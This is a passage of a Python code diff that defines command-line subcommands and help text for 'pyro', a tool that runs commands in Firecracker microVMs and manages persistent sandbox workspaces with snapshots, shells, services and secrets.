--repo-url for a clean-clone source outside a local checkout + + Use --mode when one named use case already matches the job. Fall + back to the generic no-mode path when the mode feels too narrow. + """ + ), + formatter_class=_HelpFormatter, + ) + mcp_profile_group = mcp_serve_parser.add_mutually_exclusive_group() + mcp_profile_group.add_argument( + "--profile", + choices=PUBLIC_MCP_PROFILES, + default="workspace-core", + help=( + "Expose one generic model-facing tool profile instead of a named mode. " + "`workspace-core` is the generic default and `workspace-full` is the " + "larger opt-in profile." + ), + ) + mcp_profile_group.add_argument( + "--mode", + choices=PUBLIC_MCP_MODES, + help="Expose one opinionated use-case mode instead of the generic profile path.", + ) + mcp_source_group = mcp_serve_parser.add_mutually_exclusive_group() + mcp_source_group.add_argument( + "--project-path", + help=( + "Seed default workspaces from this local project path. If the path " + "is inside a Git checkout, pyro uses that repo root." + ), + ) + mcp_source_group.add_argument( + "--repo-url", + help=( + "Seed default workspaces from a clean host-side clone of this repo URL " + "when `workspace_create` omits `seed_path`." + ), + ) + mcp_serve_parser.add_argument( + "--repo-ref", + help="Optional branch, tag, or commit to checkout after cloning --repo-url.", + ) + mcp_serve_parser.add_argument( + "--no-project-source", + action="store_true", + help=("Disable automatic Git checkout detection from the current working directory."), + ) + + run_parser = subparsers.add_parser( + "run", + help="Run one command inside an ephemeral VM.", + description="Run one non-interactive command in a temporary Firecracker microVM.", + epilog=dedent( + """ + Examples: + pyro run debian:12 -- git --version + pyro run debian:12 --network -- python3 -c "import urllib.request as u; print(u.urlopen('https://example.com').status)" + + The guest command output and the [run] summary are written to different + streams, so they may appear in either order. Use --json for a deterministic + structured result. + """ + ), + formatter_class=_HelpFormatter, + ) + run_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Curated environment to boot, for example `debian:12`.", + ) + run_parser.add_argument( + "--vcpu-count", + type=int, + default=DEFAULT_VCPU_COUNT, + help="Number of virtual CPUs to allocate to the guest.", + ) + run_parser.add_argument( + "--mem-mib", + type=int, + default=DEFAULT_MEM_MIB, + help="Guest memory allocation in MiB.", + ) + run_parser.add_argument( + "--timeout-seconds", + type=int, + default=30, + help="Maximum time allowed for the guest command.", + ) + run_parser.add_argument( + "--ttl-seconds", + type=int, + default=600, + help="Time-to-live for temporary VM artifacts before cleanup.", + ) + run_parser.add_argument( + "--network", + action="store_true", + help="Enable outbound guest networking. Requires TAP/NAT privileges on the host.", + ) + run_parser.add_argument( + "--allow-host-compat", + action="store_true", + help=( + "Opt into host-side compatibility execution if guest boot or guest exec is unavailable." + ), + ) + run_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + run_parser.add_argument( + "command_args", + nargs="*", + metavar="ARG", + help=( + "Command and arguments to run inside the guest. Prefix them with `--`, " + "for example `pyro run debian:12 -- git --version`." + ), + ) + + workspace_parser = subparsers.add_parser( + "workspace", + help="Manage persistent workspaces.", + description=( + "Use the workspace model when you need one sandbox to stay alive " + "across repeated exec, shell, service, diff, export, snapshot, and reset calls." + ), + epilog=dedent( + """ + Examples: + pyro workspace create debian:12 --seed-path ./repo --id-only + pyro workspace create debian:12 --name repro-fix --label issue=123 + pyro workspace list + pyro workspace update WORKSPACE_ID --name retry-run --label owner=codex + pyro workspace sync push WORKSPACE_ID ./repo --dest src + pyro workspace file read WORKSPACE_ID src/app.py + pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch + pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' + pyro workspace stop WORKSPACE_ID + pyro workspace disk list WORKSPACE_ID + pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 + pyro workspace start WORKSPACE_ID + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace reset WORKSPACE_ID --snapshot checkpoint + pyro workspace summary WORKSPACE_ID + pyro workspace diff WORKSPACE_ID + pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt + pyro workspace shell open WORKSPACE_ID --id-only + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace logs WORKSPACE_ID + + `pyro run` remains the fastest one-shot proof. `pyro workspace ...` is the + stable path when an agent needs to inhabit one sandbox over time. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_subparsers = workspace_parser.add_subparsers( + dest="workspace_command", + required=True, + metavar="WORKSPACE", + ) + workspace_create_parser = workspace_subparsers.add_parser( + "create", + help="Create and start a persistent workspace.", + description=( + "Create and start a stable persistent workspace that stays alive across repeated " + "exec, shell, service, diff, export, snapshot, and reset calls." + ), + epilog=dedent( + """ + Examples: + pyro workspace create debian:12 --id-only + pyro workspace create debian:12 --seed-path ./repo --id-only + pyro workspace create debian:12 --name repro-fix --label issue=123 + pyro workspace create debian:12 --network-policy egress + pyro workspace create debian:12 --secret API_TOKEN=expected + pyro workspace list + pyro workspace update WORKSPACE_ID --label owner=codex + pyro workspace sync push WORKSPACE_ID ./changes + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace reset WORKSPACE_ID --snapshot checkpoint + pyro workspace diff WORKSPACE_ID + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_create_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Curated environment to boot, for example `debian:12`.", + ) + workspace_create_parser.add_argument( + "--vcpu-count", + type=int, + default=DEFAULT_VCPU_COUNT, + help="Number of virtual CPUs to allocate to the guest.", + ) + workspace_create_parser.add_argument( + "--mem-mib", + type=int, + default=DEFAULT_MEM_MIB, + help="Guest memory allocation in MiB.", + ) + workspace_create_parser.add_argument( + "--ttl-seconds", + type=int, + default=600, + help="Time-to-live for the workspace before automatic cleanup.", + ) + workspace_create_parser.add_argument( + "--network-policy", + choices=("off", "egress", "egress+published-ports"), + default="off", + help="Workspace network policy.", + ) + workspace_create_parser.add_argument( + "--allow-host-compat", + action="store_true", + help=( + "Opt into host-side compatibility execution if guest boot or guest exec is unavailable." + ), + ) + workspace_create_parser.add_argument( + "--seed-path", + help=( + "Optional host directory or .tar/.tar.gz/.tgz archive to seed into `/workspace` " + "before the workspace is returned." + ), + ) + workspace_create_parser.add_argument( + "--name", + help="Optional human-friendly workspace name.", + ) + workspace_create_parser.add_argument( + "--label", + action="append", + default=[], + metavar="KEY=VALUE", + help="Attach one discovery label to the workspace. May be repeated.", + ) + workspace_create_parser.add_argument( + "--secret", + action="append", + default=[], + metavar="NAME=VALUE", + help="Persist one literal UTF-8 secret for this workspace.", + ) + workspace_create_parser.add_argument( + "--secret-file", + action="append", + default=[], + metavar="NAME=PATH", + help="Persist one UTF-8 secret copied from a host file at create time.", + ) + workspace_create_output_group = workspace_create_parser.add_mutually_exclusive_group() + workspace_create_output_group.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_create_output_group.add_argument( + "--id-only", + action="store_true", + help="Print only the new workspace identifier.", + ) + workspace_exec_parser = workspace_subparsers.add_parser( + "exec", + help="Run one command inside an existing workspace.", + description=( + "Run one non-interactive command in the persistent `/workspace` for a workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace exec WORKSPACE_ID -- cat note.txt + pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- \ + sh -lc 'test \"$API_TOKEN\" = \"expected\"' + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_exec_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_exec_parser.add_argument( + "--timeout-seconds", + type=int, + default=30, + help="Maximum time allowed for the workspace command.", + ) + workspace_exec_parser.add_argument( + "--secret-env", + action="append", + default=[], + metavar="SECRET[=ENV_VAR]", + help="Expose one persisted workspace secret as an environment variable for this exec.", + ) + workspace_exec_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_exec_parser.add_argument( + "command_args", + nargs="*", + metavar="ARG", + help=( + "Command and arguments to run inside the workspace. Prefix them with `--`, " + "for example `pyro workspace exec WORKSPACE_ID -- cat note.txt`." + ), + ) + workspace_sync_parser = workspace_subparsers.add_parser( + "sync", + help="Push host content into a started workspace.", + description=( + "Push host directory or archive content into `/workspace` for an existing " + "started workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace sync push WORKSPACE_ID ./repo + pyro workspace sync push WORKSPACE_ID ./patches --dest src + + Sync is non-atomic. If a sync fails partway through, prefer reset over repair with + `pyro workspace reset WORKSPACE_ID`. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_sync_subparsers = workspace_sync_parser.add_subparsers( + dest="workspace_sync_command", + required=True, + metavar="SYNC", + ) + workspace_sync_push_parser = workspace_sync_subparsers.add_parser( + "push", + help="Push one host directory or archive into a started workspace.", + description="Import host content into `/workspace` or a subdirectory of it.", + epilog="Example:\n pyro workspace sync push WORKSPACE_ID ./repo --dest src", + formatter_class=_HelpFormatter, + ) + workspace_sync_push_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_sync_push_parser.add_argument( + "source_path", + metavar="SOURCE_PATH", + help="Host directory or .tar/.tar.gz/.tgz archive to push into the workspace.", + ) + workspace_sync_push_parser.add_argument( + "--dest", + default=WORKSPACE_GUEST_PATH, + help="Workspace destination path. Relative values resolve inside `/workspace`.", + ) + workspace_sync_push_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_export_parser = workspace_subparsers.add_parser( + "export", + help="Export one workspace path to the host.", + description="Export one file or directory from `/workspace` to an explicit host path.", + epilog="Example:\n pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt", + formatter_class=_HelpFormatter, + ) + workspace_export_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_export_parser.add_argument( + "path", + metavar="PATH", + help="Workspace path to export. Relative values resolve inside `/workspace`.", + ) + workspace_export_parser.add_argument( + "--output", + required=True, + help="Exact host path to create for the exported file or directory.", + ) + workspace_export_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_diff_parser = workspace_subparsers.add_parser( + "diff", + help="Diff `/workspace` against the create-time baseline.", + description="Compare the current `/workspace` tree to the immutable workspace baseline.", + epilog=dedent( + """ + Example: + pyro workspace diff WORKSPACE_ID + + Use `workspace export` to copy a changed file or directory back to the host. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_diff_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_diff_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_file_parser = workspace_subparsers.add_parser( + "file", + help="List, read, and write workspace files without shell quoting.", + description=( + "Use workspace file operations for model-native tree inspection and text edits " + "inside one started workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace file list WORKSPACE_ID + pyro workspace file read WORKSPACE_ID src/app.py + pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_file_subparsers = workspace_file_parser.add_subparsers( + dest="workspace_file_command", + required=True, + metavar="FILE", + ) + workspace_file_list_parser = workspace_file_subparsers.add_parser( + "list", + help="List metadata for one live workspace path.", + description="List files, directories, and symlinks under one started workspace path.", + epilog="Example:\n pyro workspace file list WORKSPACE_ID src --recursive", + formatter_class=_HelpFormatter, + ) + workspace_file_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_file_list_parser.add_argument( + "path", + nargs="?", + default=WORKSPACE_GUEST_PATH, + metavar="PATH", + help="Workspace path to inspect. Relative values resolve inside `/workspace`.", + ) + workspace_file_list_parser.add_argument( + "--recursive", + action="store_true", + help="Walk directories recursively.", + ) + workspace_file_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_file_read_parser = workspace_file_subparsers.add_parser( + "read", + help="Read one regular text file from a started workspace.", + description=( + "Read one regular text file under `/workspace`. This is bounded and does not " + "follow symlinks." + ), + epilog=dedent( + """ + Examples: + pyro workspace file read WORKSPACE_ID src/app.py + pyro workspace file read WORKSPACE_ID src/app.py --content-only + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_file_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_file_read_parser.add_argument("path", metavar="PATH") + workspace_file_read_parser.add_argument( + "--max-bytes", + type=int, + default=DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, + help="Maximum number of bytes to return in the decoded text response.", + ) + workspace_file_read_output_group = workspace_file_read_parser.add_mutually_exclusive_group() + workspace_file_read_output_group.add_argument( + "--content-only", + action="store_true", + help="Print only the decoded file content with no human summary footer.", + ) + workspace_file_read_output_group.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_file_write_parser = workspace_file_subparsers.add_parser( + "write", + help="Create or replace one regular text file in a started workspace.", + description=( + "Write one UTF-8 text file under `/workspace`. Missing parent directories are " + "created automatically." + ), + epilog=( + "Example:\n pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py" + ), + formatter_class=_HelpFormatter, + ) + workspace_file_write_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_file_write_parser.add_argument("path", metavar="PATH") + workspace_file_write_input_group = workspace_file_write_parser.add_mutually_exclusive_group( + required=True + ) + workspace_file_write_input_group.add_argument( + "--text", + help="UTF-8 text content to write into the target file.", + ) + workspace_file_write_input_group.add_argument( + "--text-file", + metavar="PATH", + help="Read UTF-8 text content from a host file.", + ) + workspace_file_write_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_patch_parser = workspace_subparsers.add_parser( + "patch", + help="Apply unified text patches inside a started workspace.", + description=( + "Apply add/modify/delete unified text patches under `/workspace` without shell " + "editing tricks." + ), + epilog=dedent( + """ + Example: + pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch + + Patch application is preflighted but not fully transactional. If an apply fails + partway through, prefer `pyro workspace reset WORKSPACE_ID`. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_patch_subparsers = workspace_patch_parser.add_subparsers( + dest="workspace_patch_command", + required=True, + metavar="PATCH", + ) + workspace_patch_apply_parser = workspace_patch_subparsers.add_parser( + "apply", + help="Apply one unified text patch to a started workspace.", + description=( + "Apply one unified text patch for add, modify, and delete operations under " + "`/workspace`." + ), + epilog="Example:\n pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch", + formatter_class=_HelpFormatter, + ) + workspace_patch_apply_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_patch_input_group = workspace_patch_apply_parser.add_mutually_exclusive_group( + required=True + ) + workspace_patch_input_group.add_argument( + "--patch", + help="Unified text patch to apply under `/workspace`.", + ) + workspace_patch_input_group.add_argument( + "--patch-file", + metavar="PATH", + help="Read a unified text patch from a UTF-8 host file.", + ) + workspace_patch_apply_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_snapshot_parser = workspace_subparsers.add_parser( + "snapshot", + help="Create, list, and delete workspace snapshots.", + description=( + "Manage explicit named snapshots in addition to the implicit create-time baseline." + ), + epilog=dedent( + """ + Examples: + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace snapshot list WORKSPACE_ID + pyro workspace snapshot delete WORKSPACE_ID checkpoint + + Use `workspace reset` to restore `/workspace` from `baseline` or one named snapshot. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_snapshot_subparsers = workspace_snapshot_parser.add_subparsers( + dest="workspace_snapshot_command", + required=True, + metavar="SNAPSHOT", + ) + workspace_snapshot_create_parser = workspace_snapshot_subparsers.add_parser( + "create", + help="Create one named snapshot from the current workspace.", + description="Capture the current `/workspace` tree as one named snapshot.", + epilog="Example:\n pyro workspace snapshot create WORKSPACE_ID checkpoint", + formatter_class=_HelpFormatter, + ) + workspace_snapshot_create_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_snapshot_create_parser.add_argument("snapshot_name", metavar="SNAPSHOT_NAME") + workspace_snapshot_create_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_snapshot_list_parser = workspace_snapshot_subparsers.add_parser( + "list", + help="List the baseline plus named snapshots.", + description="List the implicit baseline snapshot plus any named snapshots for a workspace.", + epilog="Example:\n pyro workspace snapshot list WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_snapshot_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_snapshot_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_snapshot_delete_parser = workspace_snapshot_subparsers.add_parser( + "delete", + help="Delete one named snapshot.", + description="Delete one named snapshot while leaving the implicit baseline intact.", + epilog="Example:\n pyro workspace snapshot delete WORKSPACE_ID checkpoint", + formatter_class=_HelpFormatter, + ) + workspace_snapshot_delete_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_snapshot_delete_parser.add_argument("snapshot_name", metavar="SNAPSHOT_NAME") + workspace_snapshot_delete_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_reset_parser = workspace_subparsers.add_parser( + "reset", + help="Recreate a workspace from baseline or one named snapshot.", + description=( + "Recreate the full sandbox and restore `/workspace` from the baseline " + "or one named snapshot." + ), + epilog=dedent( + """ + Examples: + pyro workspace reset WORKSPACE_ID + pyro workspace reset WORKSPACE_ID --snapshot checkpoint + + Prefer reset over repair: reset clears command history, shells, and services so the + workspace comes back clean from `baseline` or one named snapshot. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_reset_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_reset_parser.add_argument( + "--snapshot", + default="baseline", + help="Snapshot name to restore. Defaults to the implicit `baseline` snapshot.", + ) + workspace_reset_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_stop_parser = workspace_subparsers.add_parser( + "stop", + help="Stop one workspace without resetting it.", + description=( + "Stop the backing sandbox, close shells, stop services, and preserve the " + "workspace filesystem, history, and snapshots." + ), + epilog="Example:\n pyro workspace stop WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_stop_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_stop_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_start_parser = workspace_subparsers.add_parser( + "start", + help="Start one stopped workspace without resetting it.", + description=( + "Start a previously stopped workspace from its preserved rootfs and workspace state." + ), + epilog="Example:\n pyro workspace start WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_start_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_start_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_disk_parser = workspace_subparsers.add_parser( + "disk", + help="Inspect or export a stopped workspace disk.", + description=( + "Use secondary stopped-workspace disk tools for raw ext4 export and offline " + "inspection without booting the guest." + ), + epilog=dedent( + """ + Examples: + pyro workspace stop WORKSPACE_ID + pyro workspace disk list WORKSPACE_ID + pyro workspace disk read WORKSPACE_ID note.txt + pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 + + Disk tools are secondary to `workspace export` and require a stopped, guest-backed + workspace. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_disk_subparsers = workspace_disk_parser.add_subparsers( + dest="workspace_disk_command", + required=True, + metavar="DISK", + ) + workspace_disk_export_parser = workspace_disk_subparsers.add_parser( + "export", + help="Export the raw stopped workspace rootfs image.", + description="Copy the raw stopped workspace rootfs ext4 image to an explicit host path.", + epilog="Example:\n pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4", + formatter_class=_HelpFormatter, + ) + workspace_disk_export_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_disk_export_parser.add_argument( + "--output", + required=True, + help="Exact host path to create for the exported raw ext4 image.", + ) + workspace_disk_export_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_disk_list_parser = workspace_disk_subparsers.add_parser( + "list", + help="List files from a stopped workspace rootfs path.", + description=( + "Inspect one stopped workspace rootfs path without booting the guest. Relative " + "paths resolve inside `/workspace`; absolute paths inspect any guest path." + ), + epilog="Example:\n pyro workspace disk list WORKSPACE_ID src --recursive", + formatter_class=_HelpFormatter, + ) + workspace_disk_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_disk_list_parser.add_argument( + "path", + nargs="?", + default=WORKSPACE_GUEST_PATH, + metavar="PATH", + help="Guest path to inspect. Defaults to `/workspace`.", + ) + workspace_disk_list_parser.add_argument( + "--recursive", + action="store_true", + help="Recurse into nested directories.", + ) + workspace_disk_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_disk_read_parser = workspace_disk_subparsers.add_parser( + "read", + help="Read one regular file from a stopped workspace rootfs.", + description=( + "Read one regular file from a stopped workspace rootfs without booting the guest. " + "Relative paths resolve inside `/workspace`; absolute paths inspect any guest path." + ), + epilog=dedent( + """ + Examples: + pyro workspace disk read WORKSPACE_ID note.txt --max-bytes 4096 + pyro workspace disk read WORKSPACE_ID note.txt --content-only + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_disk_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_disk_read_parser.add_argument("path", metavar="PATH") + workspace_disk_read_parser.add_argument( + "--max-bytes", + type=int, + default=DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, + help="Maximum number of decoded UTF-8 bytes to return.", + ) + workspace_disk_read_output_group = workspace_disk_read_parser.add_mutually_exclusive_group() + workspace_disk_read_output_group.add_argument( + "--content-only", + action="store_true", + help="Print only the decoded file content with no human summary footer.", + ) + workspace_disk_read_output_group.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_parser = workspace_subparsers.add_parser( + "shell", + help="Open and manage persistent interactive shells.", + description=( + "Open one or more persistent interactive PTY shell sessions inside a started workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace shell open WORKSPACE_ID --id-only + pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' + pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 + pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT + pyro workspace shell close WORKSPACE_ID SHELL_ID + + Use `workspace exec` for one-shot commands. Use `workspace shell` when you need + an interactive process that keeps its state between calls. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_shell_subparsers = workspace_shell_parser.add_subparsers( + dest="workspace_shell_command", + required=True, + metavar="SHELL", + ) + workspace_shell_open_parser = workspace_shell_subparsers.add_parser( + "open", + help="Open a persistent interactive shell.", + description="Open a new PTY shell inside a started workspace.", + epilog="Example:\n pyro workspace shell open WORKSPACE_ID --cwd src --id-only", + formatter_class=_HelpFormatter, + ) + workspace_shell_open_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_open_parser.add_argument( + "--cwd", + default=WORKSPACE_GUEST_PATH, + help="Shell working directory. Relative values resolve inside `/workspace`.", + ) + workspace_shell_open_parser.add_argument( + "--cols", + type=int, + default=120, + help="Shell terminal width in columns.", + ) + workspace_shell_open_parser.add_argument( + "--rows", + type=int, + default=30, + help="Shell terminal height in rows.", + ) + workspace_shell_open_parser.add_argument( + "--secret-env", + action="append", + default=[], + metavar="SECRET[=ENV_VAR]", + help="Expose one persisted workspace secret as an environment variable in the shell.", + ) + workspace_shell_open_output_group = workspace_shell_open_parser.add_mutually_exclusive_group() + workspace_shell_open_output_group.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_open_output_group.add_argument( + "--id-only", + action="store_true", + help="Print only the new shell identifier.", + ) + workspace_shell_read_parser = workspace_shell_subparsers.add_parser( + "read", + help="Read merged PTY output from a shell.", + description="Read merged text output from a persistent workspace shell.", + epilog=dedent( + """ + Example: + pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 + + Shell output is written to stdout. The read summary is written to stderr. + Use --plain for chat-friendly output and --json for a deterministic structured response. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_shell_read_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_read_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_read_parser.add_argument( + "--cursor", + type=int, + default=0, + help="Character offset into the merged shell output buffer.", + ) + workspace_shell_read_parser.add_argument( + "--max-chars", + type=int, + default=65536, + help="Maximum number of characters to return from the current cursor position.", + ) + workspace_shell_read_parser.add_argument( + "--plain", + action="store_true", + help="Strip terminal control sequences and normalize shell output for chat consumption.", + ) + workspace_shell_read_parser.add_argument( + "--wait-for-idle-ms", + type=int, + default=None, + help="Wait for this many milliseconds of shell-idle time before returning output.", + ) + workspace_shell_read_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_write_parser = workspace_shell_subparsers.add_parser( + "write", + help="Write text input into a shell.", + description="Write text input into a persistent workspace shell.", + epilog="Example:\n pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd'", + formatter_class=_HelpFormatter, + ) + workspace_shell_write_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_write_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_write_parser.add_argument( + "--input", + required=True, + help="Text to send to the shell.", + ) + workspace_shell_write_parser.add_argument( + "--no-newline", + action="store_true", + help="Do not append a trailing newline after the provided input.", + ) + workspace_shell_write_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_signal_parser = workspace_shell_subparsers.add_parser( + "signal", + help="Send a signal to a shell process group.", + description="Send a control signal to a persistent workspace shell.", + epilog="Example:\n pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT", + formatter_class=_HelpFormatter, + ) + workspace_shell_signal_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_signal_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_signal_parser.add_argument( + "--signal", + default="INT", + choices=WORKSPACE_SHELL_SIGNAL_NAMES, + help="Signal name to send to the shell process group.", + ) + workspace_shell_signal_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_shell_close_parser = workspace_shell_subparsers.add_parser( + "close", + help="Close a persistent shell.", + description="Close a persistent workspace shell and release its PTY state.", + epilog="Example:\n pyro workspace shell close WORKSPACE_ID SHELL_ID", + formatter_class=_HelpFormatter, + ) + workspace_shell_close_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_shell_close_parser.add_argument( + "shell_id", + metavar="SHELL_ID", + help="Persistent shell identifier returned by `workspace shell open`.", + ) + workspace_shell_close_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_parser = workspace_subparsers.add_parser( + "service", + help="Manage long-running services inside a workspace.", + description=( + "Start, inspect, and stop named long-running services inside one started workspace." + ), + epilog=dedent( + """ + Examples: + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace service start WORKSPACE_ID app --ready-file .ready --publish 8080 -- \ + sh -lc 'touch .ready && python3 -m http.server 8080' + pyro workspace service list WORKSPACE_ID + pyro workspace service status WORKSPACE_ID app + pyro workspace service logs WORKSPACE_ID app --tail-lines 50 + pyro workspace service stop WORKSPACE_ID app + + Use `--ready-file` by default in the curated Debian environments. `--ready-command` + remains available when the workflow needs a custom readiness check. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_service_subparsers = workspace_service_parser.add_subparsers( + dest="workspace_service_command", + required=True, + metavar="SERVICE", + ) + workspace_service_start_parser = workspace_service_subparsers.add_parser( + "start", + help="Start one named long-running service.", + description="Start a named service inside a started workspace with optional readiness.", + epilog=dedent( + """ + Examples: + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace service start WORKSPACE_ID app \ + --ready-file .ready --publish 18080:8080 -- \ + sh -lc 'touch .ready && python3 -m http.server 8080' + pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN -- \ + sh -lc 'test \"$API_TOKEN\" = \"expected\"; touch .ready; \ +while true; do sleep 60; done' + pyro workspace service start WORKSPACE_ID app --ready-command 'test -f .ready' -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_service_start_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_start_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_start_parser.add_argument( + "--cwd", + default=WORKSPACE_GUEST_PATH, + help="Service working directory. Relative values resolve inside `/workspace`.", + ) + workspace_service_start_parser.add_argument( + "--ready-file", + help="Mark the service ready once this workspace path exists.", + ) + workspace_service_start_parser.add_argument( + "--ready-tcp", + help="Mark the service ready once this HOST:PORT accepts guest-local TCP connections.", + ) + 